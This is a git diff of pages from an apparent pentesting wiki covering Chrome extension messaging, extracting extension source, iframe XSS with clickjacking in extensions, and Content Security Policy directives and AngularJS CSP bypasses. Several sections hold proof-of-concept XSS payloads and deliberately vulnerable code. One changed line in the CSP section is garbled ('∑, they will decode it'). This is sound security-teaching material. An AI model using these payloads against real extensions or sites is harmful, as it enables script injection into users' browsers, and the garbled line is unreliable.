Sending a request from the **extension** (usually a **background script**) A Content Script can use the functions, except that you need to specify which tab to send it to. Example of how to send message to the content script in the selected tab:
|
||||
|
||||
```javascript
|
||||
// From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
|
||||
(async () => {
|
||||
const [tab] = await chrome.tabs.query({active: true, lastFocusedWindow: true});
|
||||
const response = await chrome.tabs.sendMessage(tab.id, {greeting: "hello"});
|
||||
|
@ -491,6 +495,7 @@ Sending a request from the **extension** (usually a **background script**) to a
|
|||
On the **receiving end**, you need to set up an [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **event listener** to handle the message. This looks the same from a content script or extension page.
|
||||
|
||||
```javascript
|
||||
// From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
|
||||
chrome.runtime.onMessage.addListener(
|
||||
function(request, sender, sendResponse) {
|
||||
console.log(sender.tab ?
|
||||
|
@ -502,11 +507,12 @@ chrome.runtime.onMessage.addListener(
|
|||
);
|
||||
```
|
||||
|
||||
In the above example, **`sendResponse()`** was called synchronously. If you want to **asynchronously** use `sendResponse()`, add `return true;` to the `onMessage` event handler.
|
||||
In the example highlighted, **`sendResponse()`** was executed in a synchronous fashion. To modify the `onMessage` event handler for asynchronous execution of `sendResponse()`, it's imperative to incorporate `return true;`.
|
||||
|
||||
> If multiple pages are listening for `onMessage` events, **only the first to call `sendResponse()`** for a particular event will succeed in sending the response. All other responses to that event will be ignored.
|
||||
An important consideration is that in scenarios where multiple pages are set to receive `onMessage` events, **the first page to execute `sendResponse()`** for a specific event will be the only one able to deliver the response effectively. Any subsequent responses to the same event will not be taken into account.
|
||||
|
||||
When crafting new extensions, the preference should be towards promises as opposed to callbacks. Concerning the use of callbacks, the `sendResponse()` function is considered valid only if it's executed directly within the synchronous context, or if the event handler indicates an asynchronous operation by returning `true`. Should none of the handlers return `true` or if the `sendResponse()` function is removed from memory (garbage-collected), the callback associated with the `sendMessage()` function will be triggered by default.
|
||||
|
||||
For new extensions you should prefer promises over callbacks. If you're using callbacks, the `sendResponse()` callback is only valid if used synchronously, or if the event handler returns `true` to indicate that it will respond asynchronously. The `sendMessage()` function's callback will be invoked automatically if no handlers return true or if the `sendResponse()` callback is garbage-collected.
|
||||
|
||||
## Loading an Extension in the Browser
|
||||
|
||||
|
@ -518,38 +524,53 @@ In **Firefox** you go to **`about:debugging#/runtime/this-firefox`** and click *
|
|||
|
||||
## Getting the source code from the store
|
||||
|
||||
From [**here**](https://gist.github.com/paulirish/78d6c1406c901be02c2d):
|
||||
The source code of a Chrome extension can be obtained through various methods. Below are detailed explanations and instructions for each option.
|
||||
|
||||
### Option 1: Command-line download extension as zip and extract
|
||||
### Download Extension as ZIP via Command Line
|
||||
|
||||
The source code of a Chrome extension can be downloaded as a ZIP file using the command line. This involves using `curl` to fetch the ZIP file from a specific URL and then extracting the contents of the ZIP file to a directory. Here are the steps:
|
||||
|
||||
1. Replace `"extension_id"` with the actual ID of the extension.
|
||||
2. Execute the following commands:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
extension_id=jifpbeccnghkjeaalbbjmodiffmgedin # change this ID
|
||||
curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc"
|
||||
extension_id=your_extension_id # Replace with the actual extension ID
|
||||
curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc"
|
||||
unzip -d "$extension_id-source" "$extension_id.zip"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Thx to crxviewer for the [magic download URL](https://github.com/Rob--W/crxviewer/blob/6113c25e3569e1ec59365ad9a177aa97e2bcda61/src/cws\_pattern.js#L27-L74).
|
||||
|
||||
### Option 2: Use the CRX Viewer website
|
||||
### Use the CRX Viewer website
|
||||
|
||||
[https://robwu.nl/crxviewer/](https://robwu.nl/crxviewer/)
|
||||
|
||||
### Option 3: Use the CRX Viewer extension
|
||||
### Use the CRX Viewer extension
|
||||
|
||||
The [Chrome extension source viewer](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en) is open source ([github repo](https://github.com/Rob--W/crxviewer)) and makes this super easy.
|
||||
Another convenient method is using the Chrome Extension Source Viewer, which is an open-source project. It can be installed from the [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). The source code of the viewer is available in its [GitHub repository](https://github.com/Rob--W/crxviewer).
|
||||
|
||||
### Option 3: View source of locally installed extension
|
||||
### View source of locally installed extension
|
||||
|
||||
1. Find your Chrome local profile directory. Open `chrome://version/` and find the "Profile Path:\` field. Open that folder up.
|
||||
2. Open the `Extensions/` subfolder
|
||||
3. All your extensions are here, with typically readable source.
|
||||
Chrome extensions installed locally can also be inspected. Here's how:
|
||||
|
||||
#### Mapping between locally installed extension IDs and names
|
||||
1. Access your Chrome local profile directory by visiting `chrome://version/` and locating the "Profile Path" field.
|
||||
2. Navigate to the `Extensions/` subfolder within the profile directory.
|
||||
3. This folder contains all installed extensions, typically with their source code in a readable format.
|
||||
|
||||
* On `about:extensions`, turn on Developer Mode and you'll see IDs under each entry
|
||||
* Inside the `Extensions/` folders, the manifest.json has a readable `name` field
|
||||
To identify extensions, you can map their IDs to names:
|
||||
|
||||
- Enable Developer Mode on the `about:extensions` page to see the IDs of each extension.
|
||||
- Within each extension's folder, the `manifest.json` file contains a readable `name` field, helping you to identify the extension.
|
||||
|
||||
### Use a File Archiver or Unpacker
|
||||
Go to the Chrome Web Store and download the extension. The file will have a `.crx` extension.
|
||||
Change the file extension from `.crx` to `.zip`.
|
||||
Use any file archiver (like WinRAR, 7-Zip, etc.) to extract the contents of the ZIP file.
|
||||
|
||||
### Use Developer Mode in Chrome
|
||||
Open Chrome and go to `chrome://extensions/`.
|
||||
Enable "Developer mode" at the top right.
|
||||
Click on "Load unpacked extension...".
|
||||
Navigate to the directory of your extension.
|
||||
This doesn't download the source code, but it's useful for viewing and modifying the code of an already downloaded or developed extension.
|
||||
|
||||
## Security Audit Checklist
|
||||
|
||||
|
@ -611,6 +632,7 @@ Project Neto is a Python 3 package conceived to analyse and unravel hidden featu
|
|||
* [https://developer.chrome.com/docs/extensions/develop/concepts/content-scripts](https://developer.chrome.com/docs/extensions/develop/concepts/content-scripts)
|
||||
* [https://developer.chrome.com/docs/extensions/mv2/background-pages](https://developer.chrome.com/docs/extensions/mv2/background-pages)
|
||||
* [https://thehackerblog.com/kicking-the-rims-a-guide-for-securely-writing-and-auditing-chrome-extensions/](https://thehackerblog.com/kicking-the-rims-a-guide-for-securely-writing-and-auditing-chrome-extensions/)
|
||||
* [https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0](https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -115,13 +115,11 @@ You can find the [**complete list of permissions a Chromium Browser Extension ca
|
|||
|
||||
## Prevention <a href="#why-not-restrict-extension-privileges" id="why-not-restrict-extension-privileges"></a>
|
||||
|
||||
Google’s developer policies [explicitly prohibit](https://developer.chrome.com/docs/webstore/program\_policies/#permissions) requesting more privileges that necessary for the extension to function. In my experience this rule in fact works. I can only think of one case where a browser extension [requested too many privileges](https://palant.info/2020/01/13/pwning-avast-secure-browser-for-fun-and-profit/#selecting-a-target), and this particular extension was being distributed with the browser rather than via some add-on store.
|
||||
The policy of Google's developer explicitly forbids extensions from requesting more privileges than necessary for their functionality, effectively mitigating excessive permission requests. An instance where a browser extension overstepped this boundary involved its distribution with the browser itself rather than through an add-on store.
|
||||
|
||||
In some cases browsers could do better to **limit the abuse potential** of extension privileges. For example, Chrome allows screen recording via [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) or [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) APIs. The abuse potential is low because the former can only be started as a **response to a user action** (typically clicking the extension icon) whereas the latter brings up a prompt to select the application window to be recorded. Both are sufficient to prevent extensions from silently starting to record in the background.
|
||||
Browsers could further curb the misuse of extension privileges. For instance, Chrome's [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) and [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) APIs, used for screen recording, are designed to minimize abuse. The tabCapture API can only be activated through direct user interaction, such as clicking on the extension icon, while desktopCapture requires user confirmation for the window to be recorded, preventing clandestine recording activities.
|
||||
|
||||
Such security improvements have the tendency to make extensions **less flexible and less user-friendly** however. A good example here is the [activeTab permission](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab\_permission). Its purpose is to make requesting host privileges for the entire internet unnecessary. Instead, the **extension can access the current tab when the extension is explicitly activated**, typically by clicking its icon.
|
||||
|
||||
That approach works well for some extensions, particularly those where the user needs to explicitly trigger an action. It **doesn’t work in scenarios where extensions have to perform their work automatically** however (meaning being more convenient for the user) or where the extension action cannot be executed immediately and requires preparation.
|
||||
However, tightening security measures often results in decreased flexibility and user-friendliness of extensions. The [activeTab permission](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) illustrates this trade-off. It was introduced to eliminate the need for extensions to request host privileges across the entire internet, allowing extensions to access only the current tab upon explicit activation by the user. This model is effective for extensions requiring user-initiated actions but falls short for those requiring automatic or pre-emptive actions, thereby compromising convenience and immediate responsiveness.
|
||||
|
||||
## **References**
|
||||
|
||||
|
|
|
@ -14,120 +14,105 @@ Other ways to support HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
## XSS on Iframe
|
||||
## Cross-Site Scripting (XSS) through Iframe
|
||||
|
||||
**Content script** creates an Iframe indicating an **URL in the parameters of the iFrame source**:
|
||||
In this setup, a **content script** is implemented to instantiate an Iframe, incorporating a URL with query parameters as the source of the Iframe:
|
||||
|
||||
```javascript
|
||||
chrome.storage.local.get("message", result =>
|
||||
{
|
||||
frame.src = chrome.runtime.getURL("message.html") +
|
||||
"?message=" + encodeURIComponent(result.message) +
|
||||
"&url=https://example.net/explanation";
|
||||
chrome.storage.local.get("message", result => {
|
||||
let constructedURL = chrome.runtime.getURL("message.html") +
|
||||
"?content=" + encodeURIComponent(result.message) +
|
||||
"&redirect=https://example.net/details";
|
||||
frame.src = constructedURL;
|
||||
});
|
||||
```
|
||||
|
||||
A exposed html page: **`message.html`**, accesible from the **browser**, contains a code such as:
|
||||
A publicly accessible HTML page, **`message.html`**, is designed to dynamically add content to the document body based on the parameters in the URL:
|
||||
|
||||
```java
|
||||
$(() =>
|
||||
{
|
||||
let params = new URLSearchParams(location.search);
|
||||
$(document.body).append(params.get("message") + " <button>Explain</button>");
|
||||
$("body > button").click(() =>
|
||||
{
|
||||
chrome.tabs.create({ url: params.get("url") });
|
||||
```javascript
|
||||
$(document).ready(() => {
|
||||
let urlParams = new URLSearchParams(window.location.search);
|
||||
let userContent = urlParams.get("content");
|
||||
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
|
||||
$('#detailBtn').on('click', () => {
|
||||
let destinationURL = urlParams.get("redirect");
|
||||
chrome.tabs.create({ url: destinationURL });
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
The malicious page execute a script like the following to change the message for a **XSS payload**:
|
||||
A malicious script is executed on an adversary's page, modifying the `content` parameter of the Iframe's source to introduce a **XSS payload**. This is achieved by updating the Iframe's source to include a harmful script:
|
||||
|
||||
```javascript
|
||||
setTimeout(() =>
|
||||
{
|
||||
let frame = document.querySelector("iframe:last-child");
|
||||
let src = frame.src;
|
||||
setTimeout(() => {
|
||||
let targetFrame = document.querySelector("iframe").src;
|
||||
let baseURL = targetFrame.split('?')[0];
|
||||
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
|
||||
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;
|
||||
|
||||
// Remove existing query parameters
|
||||
src = src.replace(/\?.*/, "");
|
||||
|
||||
// Add malicious query parameters
|
||||
src += "?message=" + encodeURIComponent("<script>alert('XSS')</script>");
|
||||
|
||||
// Load into frame
|
||||
frame.src = src;
|
||||
document.querySelector("iframe").src = maliciousURL;
|
||||
}, 1000);
|
||||
```
|
||||
|
||||
A permissive Content Security Policy like 
|
||||
An overly permissive Content Security Policy such as:
|
||||
|
||||
```json
|
||||
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
|
||||
```
|
||||
|
||||
will allow the execution of the JS code.
|
||||
allows the execution of JavaScript, making the system vulnerable to XSS attacks.
|
||||
|
||||
Another way to trigger the XSS at will is running:
|
||||
An alternative approach to provoke the XSS involves creating an Iframe element and setting its source to include the harmful script as the `content` parameter:
|
||||
|
||||
```javascript
|
||||
let frame = document.createElement("iframe");
|
||||
frame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?message="
|
||||
+ encodeURIComponent("<script>alert('XSS')</script>");
|
||||
document.body.appendChild(frame);
|
||||
let newFrame = document.createElement("iframe");
|
||||
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
|
||||
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
|
||||
document.body.append(newFrame);
|
||||
```
|
||||
|
||||
## DOM-based XSS + ClickJacking
|
||||
|
||||
The first vulnerability is the DOM-based Cross-site Scripting (XSS) vulnerability in **`/html/bookmarks.html`**, the following is the vulnerable JavaScript from the included **`bookmarks.js`**:
|
||||
This example was taken from the [original post writeup](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).
|
||||
|
||||
The core issue arises from a DOM-based Cross-site Scripting (XSS) vulnerability located in **`/html/bookmarks.html`**. The problematic JavaScript, part of **`bookmarks.js`**, is detailed below:
|
||||
|
||||
```javascript
|
||||
$('#btAdd').click(function() {
|
||||
var btname = $('#txtName').val();
|
||||
if ($('.custom-button .name').filter(function() {
|
||||
return $(this).text() === btname;
|
||||
}).length) return false;
|
||||
$('#btAdd').on('click', function() {
|
||||
var bookmarkName = $('#txtName').val();
|
||||
if ($('.custom-button .label').filter(function() {
|
||||
return $(this).text() === bookmarkName;
|
||||
}).length) return false;
|
||||
|
||||
var span = $('<span class="custom-button">');
|
||||
span.html('<span class="name">' + btname + '</span>');
|
||||
span.append('<a href="javascript:void(0)" title="remove">x</a>');
|
||||
span.attr('title', btname);
|
||||
span.data('id', (new Date().getTime()));
|
||||
$('div.custom-buttons .existing').append(span);
|
||||
save_options();
|
||||
var bookmarkItem = $('<div class="custom-button">');
|
||||
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
|
||||
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
|
||||
bookmarkItem.attr('data-title', bookmarkName);
|
||||
bookmarkItem.data('timestamp', (new Date().getTime()));
|
||||
$('section.bookmark-container .existing-items').append(bookmarkItem);
|
||||
persistData();
|
||||
});
|
||||
```
|
||||
|
||||
The above JavaScript takes the **value** of the **`txtName`** text box and uses **string concatenation to build HTML** which is appended to the DOM via jQuery’s [“append()”](https://api.jquery.com/append/) function.
|
||||
This snippet fetches the **value** from the **`txtName`** input field and uses **string concatenation to generate HTML**, which is then appended to the DOM using jQuery’s `.append()` function.
|
||||
|
||||
Normally, Chrome extension Content Security Policy (CSP) should prevent this vulnerability from being exploited. However, due to the **loosening of this policy via** [**‘unsafe-eval’**](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src) and the use of jQuery’s DOM APIs, this was still able to be **exploited**. This is due to much of jQuery’s DOM APIs making use of [“globalEval()”](https://api.jquery.com/jquery.globaleval/), which automatically passes scripts to [“eval()”](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/eval) upon appending to the DOM.
|
||||
Typically, the Chrome extension's Content Security Policy (CSP) would prevent such vulnerabilities. However, due to **CSP relaxation with ‘unsafe-eval’** and the use of jQuery’s DOM manipulation methods (which employ [`globalEval()`](https://api.jquery.com/jquery.globaleval/) to pass scripts to [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) upon DOM insertion), exploitation is still possible.
|
||||
|
||||
While this is a serious vulnerability, on its own exploitation is fairly limited due to the **user-interaction required to exploit it**. The victim would have to open the page, paste a Cross-site Scripting (XSS) payload into the field, and click the “Add” button to exploit it.
|
||||
While this vulnerability is significant, its exploitation is usually contingent on user interaction: visiting the page, entering an XSS payload, and activating the “Add” button.
|
||||
|
||||
In order to better weaponize this vulnerability we make use of a separate vulnerability (**clickjacking**) in order to bolster the attack.
|
||||
|
||||
The following is an excerpt from the Chrome extension’s manifest:
|
||||
To enhance this vulnerability, a secondary **clickjacking** vulnerability is exploited. The Chrome extension's manifest showcases an extensive `web_accessible_resources` policy:
|
||||
|
||||
```json
|
||||
...trimmed for brevity...
|
||||
"web_accessible_resources": [
|
||||
"_locales/*",
|
||||
"bundle/*",
|
||||
"dist/*",
|
||||
"assets/*",
|
||||
"font/*",
|
||||
"html/bookmarks.html",
|
||||
"css/*.css",
|
||||
"js/*.js",
|
||||
"js/jquery/*.js",
|
||||
"js/lang/*"
|
||||
"html/bookmarks.html",
|
||||
"dist/*",
|
||||
"assets/*",
|
||||
"font/*",
|
||||
[...]
|
||||
],
|
||||
...trimmed for brevity...
|
||||
```
|
||||
|
||||
The above section demonstrates that the extension casts a wide net with its **`web_accessible_resources`** policy. 
|
||||
|
||||
The **`/html/bookmarks.html`** page is also able to be **framed** and thus **exploited** via **clickjacking**. We abuse this to iframe this page in our web page, and **overlay the frame with DOM elements to redress the layout**. This makes it so that the victim is unaware that they are **actually interacting with the extension below**. The following animation demonstrates this effect (check the animation in the [**original post writeup**](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)).
|
||||
Notably, the **`/html/bookmarks.html`** page is prone to framing, thus vulnerable to **clickjacking**. This vulnerability is leveraged to frame the page within an attacker’s site, overlaying it with DOM elements to redesign the interface deceptively. This manipulation leads victims to interact with the underlying extension unintentionally.
|
||||
|
||||
## References
|
||||
|
||||
|
|
|
@ -31,32 +31,34 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
## What is CSP
|
||||
|
||||
Content Security Policy or CSP is a built-in browser technology which **helps protect from attacks such as cross-site scripting (XSS)**. It lists and describes paths and sources, from which the browser can safely load resources. The resources may include images, frames, javascript and more. Here is an example of resources being allowed from the local domain (self) to be loaded and executed in-line and allow string code executing functions like `eval`, `setTimeout` or `setInterval:`
|
||||
Content Security Policy (CSP) is recognized as a browser technology, primarily aimed at **shielding against attacks such as cross-site scripting (XSS)**. It functions by defining and detailing paths and sources from which resources can be securely loaded by the browser. These resources encompass a range of elements such as images, frames, and JavaScript. For instance, a policy might permit the loading and execution of resources from the same domain (self), including inline resources and the execution of string code through functions like `eval`, `setTimeout`, or `setInterval`.
|
||||
|
||||
Content Security Policy is implemented via **response headers** or **meta elements of the HTML page**. The browser follows the received policy and actively blocks violations as they are detected.
|
||||
Implementation of CSP is conducted through **response headers** or by incorporating **meta elements into the HTML page**. Following this policy, browsers proactively enforce these stipulations and immediately block any detected violations.
|
||||
|
||||
Implemented via response header:
|
||||
- Implemented via response header:
|
||||
|
||||
```http
|
||||
```
|
||||
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
|
||||
```
|
||||
|
||||
Implemented via meta tag:
|
||||
- Implemented via meta tag:
|
||||
|
||||
```markup
|
||||
```xml
|
||||
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
|
||||
```
|
||||
|
||||
### Headers
|
||||
|
||||
* `Content-Security-Policy`
|
||||
* `Content-Security-Policy-Report-Only` This one won't block anything, only send reports (use in Pre environment).
|
||||
CSP can be enforced or monitored using these headers:
|
||||
|
||||
## Defining resources
|
||||
* `Content-Security-Policy`: Enforces the CSP; the browser blocks any violations.
|
||||
* `Content-Security-Policy-Report-Only`: Used for monitoring; reports violations without blocking them. Ideal for testing in pre-production environments.
|
||||
|
||||
CSP works by restricting the origins from where active and passive content can be loaded from. It can additionally restrict certain aspects of active content such as the execution of inline javascript, and the use of `eval()`.
|
||||
### Defining Resources
|
||||
|
||||
```
|
||||
CSP restricts the origins for loading both active and passive content, controlling aspects like inline JavaScript execution and the use of `eval()`. An example policy is:
|
||||
|
||||
```bash
|
||||
default-src 'none';
|
||||
img-src 'self';
|
||||
script-src 'self' https://code.jquery.com;
|
||||
|
@ -70,36 +72,49 @@ object-src 'none';
|
|||
|
||||
### Directives
|
||||
|
||||
* **script-src**: This directive specifies allowed sources for JavaScript. This includes not only URLs loaded directly into elements, but also things like inline script event handlers (onclick) and XSLT stylesheets which can trigger script execution.
|
||||
* **default-src**: This directive defines the policy for fetching resources by default. When fetch directives are absent in the CSP header the browser follows this directive by default.
|
||||
* **Child-src**: This directive defines allowed resources for web workers and embedded frame contents.
|
||||
* **connect-src**: This directive restricts URLs to load using interfaces like fetch, websocket, XMLHttpRequest
|
||||
* **frame-src**: This directive restricts URLs to frames that can be called out.
|
||||
* **frame-ancestors**: This directive specifies the sources that can embed the current page. This directive applies to [`<frame>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/frame), [`<iframe>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe), [`<object>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/object), [`<embed>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/embed), or [`<applet>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/applet). This directive can't be used in tags and applies only to non-HTML resources.
|
||||
* **img-src**: It defines allowed sources to load images on the web page.
|
||||
* **font-src:** directive specifies valid sources for fonts loaded using `@font-face`.
|
||||
* **manifest-src**: This directive defines allowed sources of application manifest files.
|
||||
* **media-src**: It defines allowed sources from where media objects can be loaded.
|
||||
* **object-src**: It defines allowed sources for the \<object>, \<embed>, and \<applet> elements elements.
|
||||
* **base-uri**: It defines allowed URLs which can be loaded using an element.
|
||||
* **form-action**: This directive lists valid endpoints for submission from tags.
|
||||
* **plugin-types**: It defines limits on the kinds of mime types a page may invoke.
|
||||
* **upgrade-insecure-requests**: This directive instructs browsers to rewrite URL schemes, changing HTTP to HTTPS. This directive can be useful for websites with large numbers of old URLs that need to be rewritten.
|
||||
* **sandbox**: sandbox directive enables a sandbox for the requested resource similar to the sandbox attribute. It applies restrictions to a page's actions including preventing popups, preventing the execution of plugins and scripts, and enforcing a same-origin policy.
|
||||
* **script-src**: Allows specific sources for JavaScript, including URLs, inline scripts, and scripts triggered by event handlers or XSLT stylesheets.
|
||||
* **default-src**: Sets a default policy for fetching resources when specific fetch directives are absent.
|
||||
* **child-src**: Specifies allowed resources for web workers and embedded frame contents.
|
||||
* **connect-src**: Restricts URLs which can be loaded using interfaces like fetch, WebSocket, XMLHttpRequest.
|
||||
* **frame-src**: Restricts URLs for frames.
|
||||
* **frame-ancestors**: Specifies which sources can embed the current page, applicable to elements like `<frame>`, `<iframe>`, `<object>`, `<embed>`, and `<applet>`.
|
||||
* **img-src**: Defines allowed sources for images.
|
||||
* **font-src**: Specifies valid sources for fonts loaded using `@font-face`.
|
||||
* **manifest-src**: Defines allowed sources of application manifest files.
|
||||
* **media-src**: Defines allowed sources for loading media objects.
|
||||
* **object-src**: Defines allowed sources for `<object>`, `<embed>`, and `<applet>` elements.
|
||||
* **base-uri**: Specifies allowed URLs for loading using `<base>` elements.
|
||||
* **form-action**: Lists valid endpoints for form submissions.
|
||||
* **plugin-types**: Restricts mime types that a page may invoke.
|
||||
* **upgrade-insecure-requests**: Instructs browsers to rewrite HTTP URLs to HTTPS.
|
||||
* **sandbox**: Applies restrictions similar to the sandbox attribute of an `<iframe>`.
|
||||
* **report-to**: Specifies a group to which a report will be sent if the policy is violated.
|
||||
* **worker-src**: Specifies valid sources for Worker, SharedWorker, or ServiceWorker scripts.
|
||||
* **prefetch-src**: Specifies valid sources for resources that will be fetched or prefetched.
|
||||
* **navigate-to**: Restricts the URLs to which a document can navigate by any means (a, form, window.location, window.open, etc.)
|
||||
|
||||
### **Sources**
|
||||
|
||||
* \*: This allows any URL except `data:` , `blob:` , `filesystem:` schemes
|
||||
* **self**: This source defines that loading of resources on the page is allowed from the same domain.
|
||||
* **data**: This source allows loading resources via the data scheme (eg Base64 encoded images)
|
||||
* **none**: This directive allows nothing to be loaded from any source.
|
||||
* **unsafe-eval**: This allows the use of eval() and similar methods for creating code from strings. This is not a safe practice to include this source in any directive. For the same reason, it is named unsafe.
|
||||
* **unsafe-hashes**: This allows to enable of specific inline event handlers.
|
||||
* **unsafe-inline**: This allows the use of inline resources, such as inline elements, javascript: URLs, inline event handlers, and inline elements. Again this is not recommended for security reasons.
|
||||
* **nonce**: A whitelist for specific inline scripts using a cryptographic nonce (number used once). The server must generate a unique nonce value each time it transmits a policy.
|
||||
* **sha256-\<hash>**: Whitelist scripts with an specific sha256 hash
|
||||
* **strict-dynamic**: It allows the browser to load and execute new JavaScript tags in the DOM from any script source that has previously been whitelisted by a "nonce" or "hash" value.
|
||||
* **host**: Indicate a host such as example.com
|
||||
### Sources
|
||||
|
||||
* `*`: Allows all URLs except those with `data:`, `blob:`, `filesystem:` schemes.
|
||||
* `'self'`: Allows loading from the same domain.
|
||||
* `'data'`: Allows resources to be loaded via the data scheme (e.g., Base64 encoded images).
|
||||
* `'none'`: Blocks loading from any source.
|
||||
* `'unsafe-eval'`: Allows the use of `eval()` and similar methods, not recommended for security reasons.
|
||||
* `'unsafe-hashes'`: Enables specific inline event handlers.
|
||||
* `'unsafe-inline'`: Allows the use of inline resources like inline `<script>` or `<style>`, not recommended for security reasons.
|
||||
* `'nonce'`: A whitelist for specific inline scripts using a cryptographic nonce (number used once).
|
||||
* `'sha256-<hash>'`: Whitelists scripts with a specific sha256 hash.
|
||||
* `'strict-dynamic'`: Allows loading scripts from any source if it has been whitelisted by a nonce or hash.
|
||||
* `'host'`: Specifies a specific host, like `example.com`.
|
||||
* `https:`: Restricts URLs to those that use HTTPS.
|
||||
* `blob:`: Allows resources to be loaded from Blob URLs (e.g., Blob URLs created via JavaScript).
|
||||
* `filesystem:`: Allows resources to be loaded from the filesystem.
|
||||
* `'report-sample'`: Includes a sample of the violating code in the violation report (useful for debugging).
|
||||
* `'strict-origin'`: Similar to 'self' but ensures the protocol security level of the sources matches the document (only secure origins can load resources from secure origins).
|
||||
* `'strict-origin-when-cross-origin'`: Sends full URLs when making same-origin requests but only sends the origin when the request is cross-origin.
|
||||
* `'unsafe-allow-redirects'`: Allows resources to be loaded that will immediately redirect to another resource. Not recommended as it weakens security.
|
||||
|
||||
|
||||
## Unsafe CSP Rules
|
||||
|
||||
|
@ -196,7 +211,7 @@ Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
|||
|
||||
Load a vulnerable version of angular and execute arbitrary JS:
|
||||
|
||||
```markup
|
||||
```xml
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
|
||||
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
|
||||
|
||||
|
@ -245,9 +260,6 @@ The post shows that you could **load** all **libraries** from `cdn.cloudflare.co
|
|||
<div ng-app ng-csp>
|
||||
{{[].erase.call().alert('xss')}}
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
```
|
||||
|
||||
#### Abusing google recaptcha JS code
|
||||
|
@ -348,7 +360,7 @@ The browser will ultimately load `https://example.com/scripts/angular/angular.js
|
|||
|
||||
This works because for the browser, you are loading a file named `..%2fangular%2fangular.js` located under `https://example.com/scripts/react/`, which is compliant with CSP.
|
||||
|
||||
However, for certain servers, when receiving the request, they will decode it, effectively requesting `https://example.com/scripts/react/../angular/angular.js`, which is equivalent to `https://example.com/scripts/angular/angular.js`.
|
||||
∑, they will decode it, effectively requesting `https://example.com/scripts/react/../angular/angular.js`, which is equivalent to `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
By **exploiting this inconsistency in URL interpretation between the browser and the server, the path rules can be bypassed**.
|
||||
|
||||
|
@ -375,13 +387,17 @@ If the vulnerable page is loaded with **httpS**, make use an httpS url in the ba
|
|||
|
||||
### AngularJS events
|
||||
|
||||
Depending on the specific policy, the CSP will block JavaScript events. However, AngularJS defines its own events that can be used instead. When inside an event, AngularJS defines a special `$event` object, which simply references the browser event object. You can use this object to perform a CSP bypass. On Chrome, there is a special property on the `$event/event` object called `path`. This property contains an array of objects that causes the event to be executed. The last property is always the `window` object, which we can use to perform a sandbox escape. By passing this array to the `orderBy` filter, we can enumerate the array and use the last element (the `window` object) to execute a global function, such as `alert()`. The following code demonstrates this:
|
||||
A specific policy known as Content Security Policy (CSP) may restrict JavaScript events. Nonetheless, AngularJS introduces custom events as an alternative. Within an event, AngularJS provides a unique object `$event`, referencing the native browser event object. This `$event` object can be exploited to circumvent the CSP. Notably, in Chrome, the `$event/event` object possesses a `path` attribute, holding an object array implicated in the event's execution chain, with the `window` object invariably positioned at the end. This structure is pivotal for sandbox escape tactics.
|
||||
|
||||
```markup
|
||||
By directing this array to the `orderBy` filter, it's possible to iterate over it, harnessing the terminal element (the `window` object) to trigger a global function like `alert()`. The demonstrated code snippet below elucidates this process:
|
||||
|
